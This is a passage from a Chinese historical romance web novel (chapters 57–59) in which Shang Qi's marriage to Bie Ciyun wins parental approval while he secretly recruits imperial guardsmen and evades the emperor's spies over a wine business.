“成了?”张青浣见夫君回到院子, 表情如平日一样叫人看不出端倪,问道。 “哪有这样快,不过娘那边有数了, 私下定要遣人查一查尚柒, 若能过娘那关, 这事多半成了。”别景季说着也不再绷着脸, 露出笑容,以尚柒在长安的品行,胜过不知多少世家子弟,必会得娘欢心。 “那就是成了,父亲喜欢有才学的人, 尚柒得了父亲欢心, 娘那边就算没那么满意, 也要考虑父亲的想法。”这桩姻缘可以说是她和别景季一手撮合的,眼瞧着要尘埃落定了, 哪有不高兴的道理。 “想来再过不久便要有媒人登门。”上回府里的喜事还是四堂妹出嫁。 “这是喜事,你可有遣人去梧桐苑说一声。” “自然是说了。”眼下此云已经有胳膊肘往外拐的趋势, 他这头就是想瞒也瞒不住。 “也不知我这病能不能赶在吃此云喜酒前好。” “亲事哪有那么快办的, 咱们家又不赶时间, 再早也得等十月放了榜, 算时间, 已然过了半载,必然是好了。”别景季宽慰夫人。 “也是, 不过娘恐怕还要多留此云在家几年,先前十来年此云因为身体不好一直在道观清修,这会子定下亲事,娘还要教此云许多内宅处事之道, 道观怕是难回去了。” “你不提道观我都快忘了,此云说要回道观,我一口应下,但因为长安突然冒出来的几桩事耽搁了,这会子不知此云还要不要回去。”别景季私心是想此云留在家里。 “你且遣人问问,我猜亲事如果顺利,多半此云是不打算回去的。” 别景季点头,的确要问问,不然岂不是失信于人。 …… 尚柒满面春风的打别府出来,也不叫阿大赶车回府,反而去了金玉满堂。 要说谢十三整日少有着家的时候,平日里不是在金玉满堂就是在长安其他产业晃悠,寻谢十三去谢府多半会跑空。 “羊毛制衣已经有不少囤货,我问过尚家二姑娘的意思,不必非要等到冬日出售,眼下能寻买家,却是不知她上哪儿寻。” 夏日卖冬衣也不是卖不出去,只是除开零星想要买卖的散客,多还是大商户想要错季囤积,也算捡个便宜。 尚家势力在西南,就算有买卖衣裳的路子,也很难在长安搭关系。 “莫要小看了尚家人,就算尚柒这里没有路子,难道有钱还没有吗?”谢琅晃了晃折扇,没遇到有钱之前,他自诩是整个长安最会做生意的人,遇上有钱后,谢琅这样骄傲的人都不得不甘拜下风。 主要还是有钱做事艺高人胆大,像谢琅,一向以和为贵,轻易不会要挟其他世家,谢家虽然家大业大,经得起折腾,但老话常说,阎王好见小鬼难缠。 小世家得罪多了,指不定哪一日就给你了使了绊头。 “有钱公子手里只做寻常的布匹生意,范围也仅限于长安,不接待外地来的大客户,哪去找门路?” “没有难道有钱还找不到了?他如今闲的很。”因为青麦酒被陛下盯上,这会子全全有尚柒负责,以他对有钱的了解,必不会安生太久。 有钱就不是那种安于内宅的哥儿。 周掌柜一想还真是,有钱公子手里的生意大部分都是白手起家做的,没有门路对旁人来说是个难题,但对有钱公子来说,算不上什么。 “少爷,尚东家来了三楼,请东家过去叙旧。”门外是金玉满堂的掌柜,尚柒跟谢琅来了几次金玉满堂,自然认得尚柒。 “他怎么知道我这会在金玉满堂?”谢琅一把合上折扇,也不理正事了,尚柒这人一向独来独往,多是他请人出来吃酒,少有尚柒请他的时候。 周掌柜瞧着满桌子的账本,无奈的摇头,对东家来说,还没开始售卖的羊毛衣只有支出没有进账,的确眼不见为好,可怜他这个跑腿的,还要带着账本回去。 包房内。 尚柒已经点了一桌子好菜等着,说来认识谢十三时间也不短了,以前还说要拿到金玉满堂吃霸王餐的资格,这会子关系到位也能厚颜讨一个。 “太阳打西边出来了,今个儿竟然能见尚大少爷光临寒地,还请我这个闲人来吃酒。”要不说谢琅没什么朋友,除开不喜欢和其余纨绔同流合污外,这张得理不饶人的嘴,也没几个世家子弟受的住。 “在长安开遍商铺的谢少爷都算闲人,我这等在长安没置办什么资产,整日闭门不出的又算什么?” “算你命好,毕竟你未来夫郞在长安的产业不少,每年收入的黄金白银不知比我高了几倍去。”自打上回去尚府和尚柒说开后,二人谈话就少了些场面话,尤其是在戳人痛处上,你来我往的很起劲。 “如此,谢少爷该反思反思,为何比不上有钱?”尚柒是不介意吃软饭的,当初他要是出生在长安,早早认识此云,才不会努力做生意,抱着此云大腿不好吗? “好哇,你们这对夫夫,我早晓得你们在一块必然狼狈为奸,没成想竟先对付起我来了,尚柒,好不厚道。”谢琅气势汹汹的指责,奈何对面的人不光不以为耻,还满脸得意的敬了一杯酒给他。 气的谢琅也拿起酒杯,咕嘟咕嘟喝了,喝的还是有钱卖的青麦酒。 “说吧,今日又是什么风将你吹来了?”谢琅吃了酒,气焰难免低人一等。 “自然是遇见好事了,想来再有几个月,谢十三你该要吃上我的喜酒了。”尚柒说着挑眉,按岁数,其实谢琅比尚柒要大。 “我说为何能得尚少爷宴请,原来是好事将近,拉我这个孤家寡人出来分享的,这是过了有钱家里人这关?”谢琅不知道有钱的身份,但凭有钱行事也能揣测一二,世家出身的公子,哪怕小门小户也轻易不肯下嫁。 尚柒自然是好的,奈何身份低了些,他还道就算尚柒科举得中,婚事也没那容易。 “算是。” “难怪今日一见你这样得意,看来我该要筹备你二人的贺礼了。”他和有钱尚柒都是朋友,虽二人结亲倒能省成一份贺礼,但谢琅又不缺那三瓜两枣的贺礼,待成亲那日两人都有。 “若谢十三你不晓得送我什么贺礼,我倒可以提点你一二。” “哪有人当面要贺礼的?”谢琅哭笑不得的看着尚柒,“不过,你既然开了口,我也听一听。” “我要金玉满堂终生免费劵。”他和此云虽然成亲后要去西南,瞧着不能在金玉满堂吃几顿,但日后他们有机会入长安,后半生多半要在长安定居了,金玉满堂这样的酒楼轻易倒不了,有的是时间叫他们来白吃白喝。 “终生免费劵?好奇怪的名字,不过我大抵明白你说的什么意思。”谢琅摸了摸下巴,考虑片刻,“可以,你和有钱成亲后来金玉满堂吃喝,我分文不取。” “多谢谢少爷慷慨解囊。” “得了,你和有钱过来金玉满堂,就算不付钱我也不会说什么,这点东西哪里能算贺礼,就当提前祝你金榜题名。” “若是名落孙山,难不成谢十三你还要收回去?” “当然,你当真名落孙山,考虑的就不是金玉满堂吃饭给不给钱的事了。” 尚柒不中榜,亲事也会跟着一块黄。 “看来是一刻也不能松懈。” “有安和公主的名头,再次你也落不了榜,不若考虑怎么拿到更高的名次,当真得中状元,想来有钱家里人会更好说话。”时下的状元不值什么钱,但有个名头总比没有好。 “有柳确在,我哪怕才高八斗,也不一定当的了。” “也说不好。”谢琅说着靠近了尚柒,低声继续道,“陛下近来在江南有动作,和萧家又杠上了,这回若陛下还不能如意,多半是要恼了世家,科举大抵会落世家颜面。” 虽说广运帝是和萧家打,跟蒲州柳家没太大干系,但世家在对抗皇权上一贯是一荣俱荣,一损俱损,落柳家的颜面,也是落整个世家的颜面。 “先前我倒有这个揣测。”但谁知道广运帝会不会突然变了想法。 “多半如此了,这回寒门上位,你自然有机会赢过柳确,你也不必怕得罪柳家,我与柳确有过来往,虽人冷的跟个木头似的,但瞧着品行不坏。” 谢琅这句评价不可谓不高,世人都说世家子弟最是端庄有礼,可扒了世家这层皮,不少子弟跟那地痞流氓没什么差别,顶多会咬文嚼字。 大世家的嫡系也不例外,谢家嫡系品行败坏的也不是没有,但只要不拿到明面上说,旁人也多不知道,谢家如此,柳家也不会好到哪儿去。 “得罪柳家也没关系。”左右柳家已经得罪此云了,再加一个他,也不当什么。 “怎么?有钱来头不小,叫你连柳家都不放在眼里?”谢琅上下打量,尚柒什么时候说过这样张狂的话。 他一个谢家出身的嫡系子弟都说不出口。 “和家世有什么关系,难道就不能是以前和柳家有过龃龉?” “柳家本家在蒲州,近来才到长安,如何得罪你了?” “没得罪我,但得罪我未婚夫郞了,不至于结仇。”尚柒这话透露了不少消息。 “好啊,你这是在跟我揭有钱的底。”柳家才到长安多久,能得罪的世家公子想来也不多,只要他顺藤摸瓜遣人查一查,有钱的身份绝计瞒不住。 “既是朋友,且早晚你都要知道,没什么不能说的,我也得了有钱同意,他道你要想知道,只管查就是。” “原我是不打算这么早知道有钱的身份,想着等你们定亲的时候,揭开这层惊喜,但你这会这么说,我可就要迫不及待的查一查了。”有钱和尚柒都这么说了,他也不是那么忍得住的人。 尚柒但笑不语,有时候交情深了,才好办事。 第57章 宣义坊。 “周掌柜, 今个儿有人要来瞧羊毛衣,到时你去接待一二。”尚南枝打给阿兄说了仓库羊毛衣已经有大批存货,阿兄就见缝插针的寻了时间给织坊寻来了客户。 是打南边过来做布匹生意的豪商, 在西市落脚, 不知怎的和阿兄搭上关系, 只隔了一日就打算过来瞧瞧羊毛制衣的成品。 “不知根底是哪家?”周掌柜前儿才和东家抱怨, 今个儿就来人了,也不知是尚家的人脉还是有钱公子的人脉。 “是打南边过来的布商,常年在西市活动,跟不少长安布行都打过交道。”这年头做生意,最要紧的就是讲诚信, 她们又做的是长久生意, 能得一个靠谱的客户生意也能更稳当。 “南边过来的?尚二姑娘知道姓什么吗?我家东家也在长安经营布帛生意, 说不得是老熟人。”周掌柜捋了捋胡须,不是他吹, 整个长安,但凡大宗的布商, 没有他不认识的。 “姓何。”尚南枝虽然没见过这位何布商, 但阿兄办事没有不靠谱的时候, 若这位何布商是长安本地人, 阿兄都能把人族谱给列出来。 “何?倒有几分印象。”但想来这位何布商不曾和谢家有过紧密来往, 不然周掌柜立马能想出人的底细。 “周掌柜有印象更好,接待的事就劳周掌柜上心。”尚南枝不是不想出面, 虽然是姑娘,但她一个人将织坊打理的井井有条,自然不惧谈生意,奈何她年纪太轻。 时下就讲就嘴上没毛办事不牢的规矩, 第一次接触想要生意谈成,还得有个看着靠谱的人出面才是。 “尚二姑娘放心。”周掌柜是老江湖,哪怕是皇商来了也丝毫不乱,一个南边的商人,他并不放在眼里。 有周掌柜这句话,尚南枝就放心去织坊内巡查,时下在坊内做事的娘子郎君数目不少,手巧的娘子郎君熟练起来,仓库里的羊毛一日比一日少,不过织坊收羊毛的消息也传遍整个长安,不少酒楼都赶着送羊毛来卖,一时也不缺货。 “二姑娘。” 正走着,尚南枝突然听闻身后有位娘子在叫她,尚南枝回头瞧见人,想起人的名字,是阿兄塞过来的关系户。 “朱娘子,有什么事吗?”虽说是关系户,但尚南枝在织坊一向是一视同仁,不然私下不知道要闹出什么幺蛾子。 “二姑娘,我这头的确有点事想问你。”朱娘子言辞间还有几分忐忑,但一想到要问的事关系当家后半生前途,还是咬牙硬上。 “二姑娘,我是因为当家和东家的人交好才来这里上工的,前两日听得东家手下说,若当家有心想赚钱,可随他去西南闯荡。” 朱娘子家里并不富裕,一家子十几口人,只靠几个劳力出工是养不活一大家子的,家里的娘子郎君,连带着年幼的孩子都要寻些赚钱的活计来做。 但长安雇佣娘子郎君做事的地方不多,且大部分还都是做不正经的勾当,像朱娘子这样没什么手艺的,一月靠卖点粗浅的织品也挣不到几个钱。 她当家的在禁军做事,每月饷银都是全交家里的,奈何这十来年下来,也没升个一官半职,靠那点饷银连给家里孩子凑点像样的聘礼嫁妆都不成。 可若是辞了军营的差事,也不知道能干个什么,同人卖苦力也是朝不保夕,还不如军营旱涝保收。 这会子当家弟兄有活介绍,真要是能赚钱自然是愿意做的,但就是怕被人骗了,毕竟要去西南做差,西南和长安可隔着上千里呢。 真要是出了什么意外,她们一家子孤儿老小也活不下去。 “说这话的人可是姓冯?” “正是。” “冯大哥在长安替我阿兄办差,他说的自然都是真话,我家产业的确在西南,主要做药材生意,因为这些年生意做的越发大,药材就要从西南往各地送,商队缺人的厉害,若你家夫君当真有心愿意做,不会少了银子的。” “冯兄弟倒是没提叫我当家到西南做什么,这会子有二姑娘你这句话,我倒安心了不少。” “西南虽然距离长安远,但尚家的商队大部分都是从军营退役的,平日押送药材更是不少于二三十人,一般宵小也不敢劫道。”出门在外,最怕的还是绿林土匪,在西南地界,土匪自然是不少的,不过都不成气候,也不敢惹尚家霉头。 “竟都是军营出身的弟兄。” “自然,寻常青壮虽有气力,但比不过在军营练过的汉子。” “如此,谢过二姑娘解惑,我且回去做事了。”朱娘子心里有了底,按照冯兄弟说的,当家真要跟尚东家做事,每年到手的银两不光能养活一大家子,甚至省吃俭用几年,都能为儿女在长安偏僻的里坊置办一套房产,那是她们几辈子都不敢想的好事。 有了朱娘子打头阵,后头又陆陆续续来了两三个娘子郎君过问尚南枝,尚南枝也不厌其烦的解释。 虽然不晓得阿兄打的什么主意,但这时候也不能揭阿兄的台。 …… “冯大哥,今晚可得空。”禄石提了一坛酒,身后跟着几个同在禁军做事的兵汉,来了冯风的住处。 “自然得空,怎么还拿了酒过来,我家就有酒,你们若是馋酒只管上门就是,费这大价钱做什么。”冯风招呼人进来,这地儿也是租的,临街的小院方便冯风落脚,不然也不好接触禁军的人。 “哪能占冯大哥便宜,平日就得你照顾,还安排了咱们内人到织坊做事,若再上门空手来,家里的媳妇都要拿扫帚打人嘞。” 这话再没有假的,毕竟家里在织坊做事的娘子郎君都拿了工钱回家,这夏日,既不逢年也不过节,家里都添了一道肉菜,叫家里的小馋嘴们乐呵呵了好几日。 “成吧,既然你们都拿了酒水来,我也不能小气了去,屋里正有东家送来的卤菜,正好拿来下酒。” 也是赶巧,东家寻了家里的厨娘做了卤菜,冯风下午才去了府里一趟,打算夜里慢慢吃,这会子就来了客,正好拿来招待。 “这如何使得,冯大哥,平日我们已经多得你照顾,酒水是谢礼,怎么还能吃你东家送的好菜。”几个汉子推辞,他们过来的确是有事要和冯风谈,但有求于人的是他们,合该他们出钱才是。 “东家一贯是有了好的东西,惦记着弟兄们,这卤菜是府里厨娘做的,用了不少香料,白日我过去,后厨直接给我切了好几盘,时下天气大,我哪里能吃完,你们不帮我吃等明日就要坏了。” 冯风说着就匆匆打屋里拿出卤菜,这卤菜最要紧的还是肉,都是猪肉,猪头猪脚最佳,还和了一点素菜,端上桌,都能比过寻常人家过年了。 几个汉子瞧着肉,也不住的咽口水,寻常百姓一年能开几次荤?有时候能凑点杂碎炒了,都能舒坦的吃一顿下酒,更不说冯风端出了四五个盘子,都不小,里面的肉也扎实,不说每人敞开肚皮吃饱,但半饱肯定是有的。 “这……” “禄石兄弟不必多言,哥哥我跟在东家身边快五六年了,一直替东家做事,手里闲钱不少,就是没有东家送的卤菜,请诸位弟兄吃一顿好菜是不成问题的。”金玉满堂冯风舍不得,但寻常食肆还是去的起。 “冯大哥这样说,我们再扭捏倒不像样子。”有禄石发话,其余几个汉子也都纷纷落座,拿起筷子挑了一嘴肥肉相间的卤肉,往嘴里一送,眼睛都瞪大了。 “这卤肉滋味这样好?竟一点吃不到猪骚味。” “香料加的足,一般人家舍不得。”冯风瞧着动了两筷就不动的弟兄,大抵能猜到他们的想法,“且放开了吃,等明日我去东家府里再走一趟,到时候你们再给家里人带回去。” “这如何使得。”几个汉子连连摆手,他们的确是想着自己大吃大喝,家里人却在吃糠咽菜不合适,但这菜是冯风拿出来请他们的,他们也没脸说带回去给家里人,连吃带拿也太不要脸了些。 “没什么使不得的,东家卤肉做多了,正愁没地儿送呢,你瞧,我一个人都被厨娘塞了这么多,赶明儿再要些,东家还要感激我呢。”冯风嘴上这么说,心里却想,一点卤肉能收卖几个精兵强将,再没比这合算的生意。 “也使不得,冯大哥,我们今日过来,是想问上回你说带我们去西南做事的话还作不作数。” “如何不作数?” “作数就好,我等已经同家里人商量好了,想要跟冯大哥一块去西南做事。” “你们既然决定好了,赶明儿我就带你们去东家那里,跟东家定个契书,也当是你们的保障。”冯风说着又数了数人数,还有几人没应下,尤其是他最看好的那位没来,但冯风没追问,该来的总要来,不差这一时半刻。 第58章 “阿兄, 商队可是缺人手了?”尚南枝白日收到娘子郎君的询问,夜里自然是要问阿兄的。 “是有人同你问什么了?”商队自然不缺人手,兵营缺人手。 “坊里做事的娘子替她夫君问的, 听闻是冯大哥揽的人手。”冯风在阿兄手里主要做收集消息的差事, 但有些活没人做的时候, 冯大哥也会顶上。 “嗯, 是我让冯风揽的人手,若是有人过问,你只管照实说就是。” “西南军营退役的兵丁也不少,阿兄为何打起了禁军的主意?”要说禁军的人能打,也不见得, 镇守边关的兵丁在实战上肯定是能比过禁军的。 “你猜猜?”尚柒知道南枝聪慧, 许多事他未曾隐瞒, 也是想看一看南枝能多久看出端倪。 “我猜不出,但阿兄你入长安后, 许多行事都很古怪,必然是瞒着我和乌桕在干大事。”尚南枝隐约察觉不妙, “会有危险吗?” 尚柒点头:“很危险, 但别担心, 我会护住你和乌桕。” “有阿兄在, 我是不担心的, 可真如阿兄说的很危险,我不想只阿兄一个人撑着, 我也想帮忙。”尚南枝的年纪或许在旁人看来还年幼,但她清楚,她比一般十一二岁的孩子能干许多,可以帮阿兄多分担一些要事。 “有你帮忙的时候, 不过不是现在,在长安你只管经营织坊,等回了西南,尚家的大部分产业都要交给你打理,到时候可别喊累。” “才不会,阿兄在我这个年纪已经让尚家在西南有几分薄名,我接过阿兄的担子,必不会辱没阿兄的名声。” “也没那么严重,名声在我这里算不上什么。”尚柒走上前揉了揉南枝的脑袋,“早些去休息吧。” 送走南枝,尚柒这几日因为亲事进展的喜悦渐渐消退,西南还有一大摊子正事等着他忙活。 …… 西南,应州。 蔺肃收了一批又一批从长安送来的物资,清点后发现比礼县送来的还要好,他确信这批物资不是尚柒置办的。 主要是东家在长安时间尚短,就算要做大生意也没那快赚到钱,养兵的物资又昂贵,一般人家少有一口气能拿得出手的。 “咱东家也是在长安攀上贵人了,送来的粮草里,还有不少酒,还是礼县难卖到的青麦酒,手笔大气。” 酒自然是好东西,一般汉子闲来无事又得几个闲钱,都是要打二两回去解解馋,跟在东家身边做事,钱自然没少赚,但大头还是给家里添置东西了,余下的小钱可舍不得买青麦酒这样昂贵的酒水。 “军中禁酒的规矩还要我这个手无缚鸡之力的人告诉你们?”蔺肃听得手下的汉子嘀咕酒水,就知这群人是酒虫犯了。 “蔺管事这会承认自己手无缚鸡之力了?”几个汉子非但不怕蔺肃,还出言调侃人,却也不是说他们不听命令。 而是大家都是军营出身,晓得军中规矩,说起酒个个都馋,但也轻易不会在营中饮酒。 再一个,青麦酒数量也不多,一看就不是给营里弟兄准备的,他们也就看看当望梅止渴了。 “和你们这群莽汉比起来,我当然手无缚鸡之力。”蔺肃不理会手下人的调侃,“东家说要将部分产业转移到应州,你们近来下山去应州打听打听情况,我好给月隐回信。” 搬产业不是一拍脑门子就能干好的,调查市场这一步必不可少。 “蔺管事放心,这点差事赶明儿我们就能办好。” 瞧着被憋在山里久了,一说下山就跟脱缰野马似的手下们,蔺肃只觉心累,想着东家什么时候能回西南,才能把手里的烂摊子交出去。 蔺肃不知道的是,等尚柒回了西南不光没接手烂摊子,还给蔺肃安排了更多事,叫人连哀嚎的功夫都没有了。 …… “有意跟咱们去西南的人就这么多,等到了西南,东家是把这些人直接送去兵营么?”冯风怕这群汉子一到西南送到私兵营,会想方设法跑路。 毕竟是他们先不讲武德,把人骗去西南,结果是干掉脑袋的勾当。 “我已经安排蔺肃将礼县的产业搬迁一些到应州,到时候你先安排他们在应州内做事。”人都到西南了,哪还能叫人跑路,先糖衣炮弹软化一番。 “这事不难。” “对了,你瞧好的那人在名单上吗?”接触禁军是此云牵线搭桥,后面由冯风接手,他倒是会过问,却也没那么知情。 “不在,我听闻今年有升迁的名额,或许想要搏一搏军中前程。”到底建功立业比跟着出门做商队护镖更有吸引力,时下有个官身,外人见了还要喊一句大人,跟商人混,指不定背地里被怎么叫。 “今年?”尚柒想真是人倒霉喝口凉水都塞牙缝,就最近禁军的情况,多半是不成的。 “正是,我原想着要不要告诉樊兄弟禁军可能有变故,但人聪明,我怕说的多了樊兄弟会察觉什么,便没开口。” “不说是对的,你以替商户做事的身份接近他们,若是突然透露你知道军中变故,他们必然警觉。”能在军营混的,少有真莽夫。 “东家说的是,那禄石兄弟几人是直接送去西南,还是说再等等,看樊兄弟他们是否改主意。” “定了契就先让他们去西南办差,禁军的变故说不好什么时候,不必要叫他们白白等着。”这些已经下定决心的军汉尚柒当然得尽快收买人心。 “那我就着人安排。” 冯风一走,尚柒又开始琢磨此云的产业,打青麦酒可能被广运帝盯上后,他就全全接管了庄园的事,但也没现身。 平日有事都是冯风去此云外宅和书墨交接,庄园外盯梢的人至今没有撤退,颇有不达目的誓不罢休的意思。 他在考虑自己是否要现身,广运帝迟迟寻不到青麦酒背后的东家,难保不会恼羞成怒,干脆做些什么事将青麦酒收归己有。 可要现身,他也不确定广运帝会拿他怎么样? 主要还是广运帝久居深宫,他又没在官场混过,凭借捕风捉影的消息很难判断广运帝的性格,都说圣心难测,但在尚柒看来,只要皇帝是个人,没有发失心疯,总能凭借行事知道这人究竟是什么性格。 或许他不该坐以待毙,先出手试探试探广运帝的心思? —————————— “青麦酒背后的东家还没查出来是谁?” “陛下,此人能在长安经营几年还没被人抓住尾巴,肯定不是泛泛之辈,加上先前长安的风声,更是叫人警惕,一时间找不到背后之人也是可能的。”金公公安抚陛下的情绪,没辙,陛下手里的人,办事都是厉害的。 连各皇子封地的私兵都能寻摸出来,却拿一个生意人没办法,怎么说都说不过去。 “人就在长安内,天子脚下,朕这个天子却寻不到人,简直无用。” 这话自然不是说广运帝自己无用,而是手下的人无用。 “陛下若想要青麦酒的产业,何必要寻人东家是谁,普天之下莫非王土,既然天下都是陛下的,青麦酒也当是陛下的。” 广运帝不得不承认这个法子好,先前他遣人寻青麦酒背后的东家,也非是要正经从人手里买卖这桩生意。 首要的还是想知道青麦酒背后是不是萧谢这等人家在经营,若真是大世家的产业,广运帝轻易动不得。 不过仔细想想,这青麦酒的东家行事小心,至今不敢露面,必然不是大世家的手笔,甚至可能连世家都不是,不然为何跟鼠辈一样藏头露尾。 “强抢容易落下话柄。”世家一直和广运帝不对付,近来尤甚,若是叫世家拿了他的把柄,难保不会逼他做出什么让步。 “陛下的意思?” 广运帝不语,动手不行,只能先威逼利诱了。 …… 书墨从城外回来,赶车的车夫在城内转悠了好几圈,才回了住处。 “有人跟着。”车夫是练家子,是别此云遣来保护书墨安全的部曲,尤其是最近,书墨只要一出城,身边的部曲不少于五位。 都是个顶个的好手,等人进城后又各自散开。 “没甩掉?”自打青麦酒被人盯上,书墨出城回城都少不了有人跟踪,大部分时间车夫会费时间将人甩开。 “甩不掉。”长安布局四四方方,只要有心不少人能做到对城内情况聊熟于胸,他想甩开不是容易事。 “那就不管。”府里有部曲,更不说她们住的地方是治安较好的里坊,这些盯梢的人也轻易不敢做什么。 “今夜你的院子多安排些人手。” “嗯,等回府后,你想办法混出去,去常乐坊寻尚东家,将此事告诉他。”事出极反必有妖,书墨怕是广运帝时间一长狗急跳墙想了什么阴招,必要叫尚东家知道才是。 “万事小心。” 车夫赶车入府后,不远处几个打扮跟寻常百姓无异的人聚拢。 “已经跟踪过几次,那哥儿都在此休息。” “都小心在四周看守,等夜里再行事。” 第59章 别府。 别此云正和自己下五子棋左右互搏, 就见琴砚满面笑容进了院子。 “公子,夫人叫你去主院一趟。” “可有说什么事?”别此云将手里的棋子扔回棋盒。 “我瞧着像是喜事。”琴砚自然不好信口雌黄,不过来报信的丫头的确一脸喜色, 依琴砚看, 多半是夫人已经摸清楚了尚东家的底细, 请公子过去问一问心意。 “算时间, 的确是该有喜事。”别此云抖了抖衣裳,不紧不慢的去了主院。 今日稀奇,不光苏怡然在,别洵松也没去衙门。 “我就说,尚柒文采斐然, 必然是品行端正的好儿郎, 能瞒过你儿子和夫君眼睛的人, 天底下一只手数的过来。” 别洵松自留尚柒吃过饭,夜里就和夫人说明了有意叫尚柒迎娶此云, 奈何夫人说底细没摸清楚,含糊了过去。 左等右等, 终于是等到夫人查清楚人的底细, 晓得尚柒乃是品学兼优之人, 方才扬眉吐气的嘚瑟。 “你若真会看人, 也不至于被几个徒弟坑的丢了官位。”事关此云终身大事, 苏怡然定然是信不过家里两个男人的眼光,儿郎的眼睛要是能识人, 各家后宅也不会鸡犬不宁了。 “哪里有你说的这样严重,当初事发,陛下当着文武重臣也不好不罚我,官位降了半阶, 等风头过去,陛下不是又给我官复原职了吗?”说起被徒弟坑的事,别洵松气焰消了一半。 “你官复原职是因为景季有本事,连带着你这个当爹的沾了光,再一个,朝中文官,哪个不是经过了科考出头的,难道没有佞臣文采斐然吗?”依苏怡然看,没几分文采也拍不上皇帝的马屁。 “朝中大半官员,都是有名无实之辈,真要比拼文采,个个都是酒囊饭袋罢了,不值一提。”别洵松说起朝中的官员,冷哼声就止不住,天底下谁不知道科举的猫腻,就是世家子弟也要看背景论资排辈。 就说几个大世家,哪怕参加科举的子弟蠢钝如猪,也必会名列前茅,有几个又是凭借真才实学考中的? “你也是世家出身,焉能不知道背景强大才是硬道理。” “夫人说的是,但尚柒乃是良才璞玉,又有夫人你专程查过,可见人品端正,配此云岂不是良缘佳话?”别洵松打考较过尚柒后,对尚柒再没有不满的,想着尚柒若是能做他的儿婿,也是一桩美事。 “人当然是好的,我相熟的不少娘子郎君都曾去他府邸看诊,个个都夸他医术厉害,也有动了心思想要从旁支挑姑娘哥儿和人结亲的。”没有相熟的娘子郎君透底,苏怡然也不会这么快倒戈。 “这可如何使得,尚柒是我先看好的。”别洵松还不知尚柒竟也成了长安的香饽饽。 “亲事哪管你是先是后,不过她们还不知道尚柒得了安和公主青睐准备下场科举,说的亲事,都是门第落魄的人家,尚柒都好言婉拒了。” “这便好。”别洵松心重新落回肚子。 苏怡然冷冷的瞥了一眼别洵松,好什么好,寻常百姓这般年纪也该定了亲事,尚柒因为父母早亡,没有亲事也能说的过去。 这会子人入长安,有这样多有权有势的娘子郎君牵线搭桥给人说亲,全都婉拒,要不就是此人一心科举,要不就是此人想要攀高枝。 “父亲,娘。”别此云从屋外进来,就见爹娘两人坐在堂上,瞧模样父亲又惹娘生气了。 “此云过来了,外头天热,且快进来。”别洵松是心疼他家哥儿的。 “父亲和娘今日寻我过来是有什么要事?”别此云落了座,苏怡然身边红酥递了饮子过来,给人解解外头的热气。 “的确有一桩要事。”别洵松正要开口,就被苏怡然的咳嗽声打断,“还是由你娘来说。” “此云,这段时日相看的事你也清楚,今日过来,正是我和你父亲寻了一位儿郎,观人品行都是极好的,想过问你的意思。” “不知是哪家的儿郎?”别此云装作不知情,面上也不曾露出半分羞涩。 “不是长安人,此人你也认识,就是上回来给你看病的尚大夫。”苏怡然一边说话,一边观察自家哥儿的表情。 要不是苏怡然识人的本事高超,几乎要错过自家哥儿眼睛里一闪而过的喜色,果然,当初她担心的不无道理。 一个样貌出众的儿郎过来看诊,未出阁姑娘哥儿焉有不心动的道理? “娘如何看中尚大夫了?”别此云轻声询问。 “此云,这你就有所不知了,尚柒到长安其实是参加科举的,他与你兄长交好,待拿到科举资格,你兄长就将人引荐到我跟前,我瞧人文采不俗,便起了这个心思。”别洵松颇有些自傲的捋着胡须,半点不提撮合的事是自家儿子提出来的。 “正是你父亲有了这个心思,我才遣人去调查了一番,只是西南尚远短时间摸不清楚他家在西南到底如何,但打人入长安后的行为举止,我都查了个遍,的确品学兼优。” 且说尚柒一入长安就在常乐坊添够一处宅院,便知道尚家不缺钱,但人从西南来了长安之后,半点没有被长安的风景迷了眼,像是长安子弟最喜欢去的平康坊,尚柒一次也没去过。 别此云不语,只安静的喝饮子。 “此云,你娘说尚柒你也见过,这桩亲事你是否有意,若是有,我和你娘就开始为你操持。”不然等尚柒中举,必少不了想要结亲的小世家。 虽说这些小世家肯定和别家比不上,但能得他看中的儿郎整个长安都寥寥无几,不可便宜了别人去。 “父亲只过问我的意思,尚大夫是否有意,父亲可问过?” 别洵松和苏怡然对视,这话再没有不明白的,他们家哥儿的确是看上了尚柒。 “自然要你有意,我和你娘才会费心思,尚柒年幼怙恃双失,家里也没有长辈做主,我对他有半师之恩,也算半个长辈,我若开口想来他不会拒绝。”别洵松不是自抬身价,而是时下弟子娶师长的孩子,也算是一桩美谈。 尚柒虽然未曾拜师于他,但得了他的指点半师的名头他还是担的起。 “婚姻大事,父母之命媒妁之言,既然父亲和娘都满意,我自然没什么好说的。” 别洵松连连点头,想着什么时候将尚柒叫到府上,同人商议亲事,半点没察觉他家哥儿竟然这么好说话。 唯有苏怡然晓得,这亲事的人选自家哥儿若真的不满意,什么父母之命媒妁之言,都是假的。 也不晓得这亲事只是此云一头热,还是私底下两人已经暗度陈仓。 不过事已至此,再追究也没什么意义,好歹尚柒也是他家哥儿倾心的人,尚家又无权无势,哪怕尚柒日后变脸,也要掂量别家的分量,不敢欺负此云。 还不知亲事既成的尚柒目光落在桌案的信笺上,这是昨日有人趁夜翻进书墨的住处留下的。 广运帝突然起了心思叫人给他送信,说明私下查找青麦酒背后东家的行动并不顺利,从这点也能看出,广运帝手里信得过的人不多,不然只消多遣人手,再没查不出来的消息。 “东家,咱们要按信上说的做吗?”冯风也看过信,信上只道叫东家现身,有要事相商,也不提姓甚名甚,颇为自傲。 “广运帝的手段,不过威逼利诱,真照了信上说的现身,下一秒也许骨头都不剩。”如今他在暗,广运帝在明,这是优势,怎么可能叫人牵着鼻子走。 “那咱们不按信上的做,万一广运帝狗急跳墙——” “还不到时候,庄园里的人手大部分可转移走了?” “东家你吩咐后,我们就悄悄开始转移人手,一日不过两三人,住在庄子的人手都转移走了,余下每日去庄园做事的人,都是附近的佃户,夜里不在庄园休息。” “先晾着,等人真的等不住了再说。” “那东家近来出门,也多带些人手,书墨哥儿的住宅这样多人盯梢,万一有人察觉和尚府有牵连,必会对东家不利。” 也不是冯风夸大,而是他晓得他们的对手是整个长安最有权有势的人,说不得人家盯梢的本事就技高一筹,暴露了东家后果不堪设想。 “我会小心,想来光天化日他们也不敢动手,倒是南枝身边记得多安排些人手跟着。”乌桕一直在府里,尚府做事的人手不多,但商队的汉子送来药材后一直留在府里,不怕外来人进院。 南枝这头日日要出门,白日在织坊不怕出事,但来去织坊的路上不一定太平。 “东家放心,二小姐身边一直都跟着老手。” 尚柒闻言点头,又将桌上的信笺拿起来放到烛火上点燃,通过这件事他也可以探一探广运帝的耐心到底多大。 多了解一些广运帝的情报,日后他去了西南,也能对长安的局势有所了解。 第60章 隔了几日, 